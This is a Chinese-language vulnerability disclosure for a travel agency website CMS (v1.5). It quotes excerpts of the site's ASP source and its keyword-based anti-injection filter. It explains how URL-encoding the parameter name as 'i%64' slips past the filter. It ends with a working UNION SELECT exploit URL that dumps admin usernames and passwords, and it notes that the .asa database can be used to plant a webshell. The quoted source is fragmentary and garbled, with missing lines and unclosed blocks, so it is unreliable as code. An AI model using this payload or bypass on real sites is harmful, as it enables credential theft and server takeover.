仙游旅行社网站管理系统 v1.5 注入漏洞

作者：Samy 出处：http://hi.baidu.com/0x7362/blog

dim idd

if idd="" then
 call errbox("无效的参数传递","","","","")
 end if

rs.open "select * from lxscms_i where shenhe=1 and id="&idd,conn,1,3
if rs.eof and rs.bof then
call errbox("您所查找的信息不存在","","","","")

if rs("hits")=0 or rs("hits")="" then
rs("hits")=1
 else

end if
if rs("uurl") <> "" then
response.Redirect ""& rs("uurl") &""
end if









sub errbox(boxvalue,boxurl,box1,box2,box3)
if boxvalue = "" then
boxvalues = ""
else
boxvalues = boxvalue

if box1 = "1" then

else

boxurls = "history.go(-1);"
 else
 boxurls = "window.location.href = '"& boxurl &"';"

end if
 if box1 = "1" then
 response.write "<style>body {background:#fff;margin:auto;text-align:center;}.box1 {line-height:32px;font-size:14px;margin:60px;clear:both;}</style><div class='box1'>"& boxvalues &"<br /><a href='javascript:history.go(-1);'>后退至上一页</a>　<a href='"& boxurls &"'>继续操作下一步</a></div>"

else

response.end
end if
end sub
Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Z'

Fy_Url=LCase(Request.ServerVariables("QUERY_STRING"))

redim Fy_Cs(ubound(Fy_a))
On Error Resume Next

Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)


Next
For Fy_x=0 to ubound(Fy_Cs)    Fy_cs(0) =id


  If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 Or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then

Case "1"
 call errbox("因为你的某些非法操作,系统已经锁定了你的IP","","","")
 Case "2"

Case "3"
call errbox("因为你的某些非法操作,系统已经锁定了你的IP","","","")

Response.End

程序根据name来判断 value If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0

如果我们对 value编码最后会被解码程序仍然可以检测到

绕过方法：

到这里i%64会被解码成id

可我们只对i%64赋值这时id的值就为空了

Exp：

http://siteweb/infor.asp?i%64=-1 union select 1,qwbmuname,qwbmupwds,4,5,6+from+lxscms_u

另外数据库asa格式。可插马

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